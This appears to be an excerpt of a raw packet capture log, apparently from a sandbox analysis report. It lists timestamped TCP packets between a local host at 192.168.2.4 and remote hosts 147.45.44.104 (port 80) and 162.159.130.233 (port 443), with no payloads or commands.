Aug 30, 2024 06:17:05.374001026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374005079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374005079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374011040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374022961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374038935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374048948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374084949 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374115944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374125957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374135017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374171972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374185085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374196053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374202967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374203920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374232054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374258041 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374320030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374329090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374337912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374346972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374355078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374366045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374366999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374375105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374382973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374385118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374392986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374401093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374419928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374456882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374456882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374468088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374483109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374492884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374502897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374505043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374505043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374516010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374546051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374546051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374572992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374583960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374591112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374602079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374609947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374619961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374629974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374634981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374634981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374639988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374650955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374659061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374660969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.374711037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.374711037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.420523882 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.420540094 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.420602083 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.420610905 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.420648098 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.420691013 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.420708895 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.420741081 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.420746088 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.420763016 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.420792103 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.421137094 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.421150923 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.421205044 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.421211958 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.421247959 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.421521902 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.421538115 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.421585083 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.421591997 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.421627045 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.421825886 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.421840906 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.421892881 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.421900034 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.421932936 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.422200918 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.422215939 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.422269106 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.422276020 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.422312021 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.422630072 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.422643900 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.422691107 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.422698021 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.422730923 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.422934055 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.422950983 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.422998905 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.423006058 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.423043013 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.443856955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.443896055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.443906069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.443907022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.443927050 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.443937063 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.443981886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.443991899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.443996906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444005966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444015980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444031000 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444055080 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444113016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444123983 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444132090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444140911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444152117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444159031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444164991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444175005 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444189072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444212914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444295883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444341898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444350004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444376945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444444895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444489956 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444499016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444508076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444516897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444531918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444546938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444555998 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444607019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444617033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444624901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444634914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444644928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444653988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444679976 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444804907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444813967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444823027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444832087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444840908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444849968 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444852114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444860935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444864988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444871902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444885015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444885969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444905996 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444914103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.444921970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.444957972 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.445719957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.445760965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.445761919 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.445770025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.445799112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.445808887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.445844889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.445852995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.445862055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.445873022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.445883036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.445887089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.445915937 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.445925951 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.445970058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.445979118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.445987940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446000099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446012974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446032047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446041107 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446043015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446072102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446353912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446382046 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446392059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446399927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446428061 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446455002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446465015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446475029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446485043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446496010 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446511030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446532011 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446579933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446589947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446599007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446609974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446619034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446623087 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446647882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446660042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446700096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446711063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446719885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446728945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446738958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446748972 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446763039 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446774006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446779966 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446783066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446819067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446825027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446835995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446862936 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446896076 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446904898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446914911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446923018 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446933985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446943998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.446953058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446966887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.446986914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447036028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447046041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447082043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447164059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447174072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447182894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447192907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447204113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447212934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447215080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447226048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447227955 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447236061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447242022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447249889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447264910 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447293043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447371006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447381020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447391033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447402000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447411060 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447412014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447432995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447446108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447808027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447824955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447835922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447855949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447869062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447876930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447887897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447925091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.447946072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447962999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.447994947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.448059082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448069096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448077917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448102951 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.448118925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448121071 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.448132038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448169947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.448241949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448251009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448292017 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.448327065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448338032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448373079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.448563099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448607922 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.448616028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448626995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448651075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.448668003 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.448689938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448700905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448712111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448723078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.448740005 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.448764086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.460598946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460654974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.460684061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460692883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460736036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460743904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.460746050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460757017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460766077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.460769892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460779905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460794926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.460794926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.460850954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.460855961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460865974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460875034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460886002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460896015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.460911989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.460931063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.460931063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.460995913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461005926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461014032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461024046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461034060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461044073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461047888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461065054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461081028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461108923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461118937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461127996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461150885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461184025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461194038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461201906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461246967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461246967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461246967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461280107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461289883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461297989 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461308002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461317062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461327076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461329937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461332083 CEST	80	49733	147.45.44.104	192.168.2.4
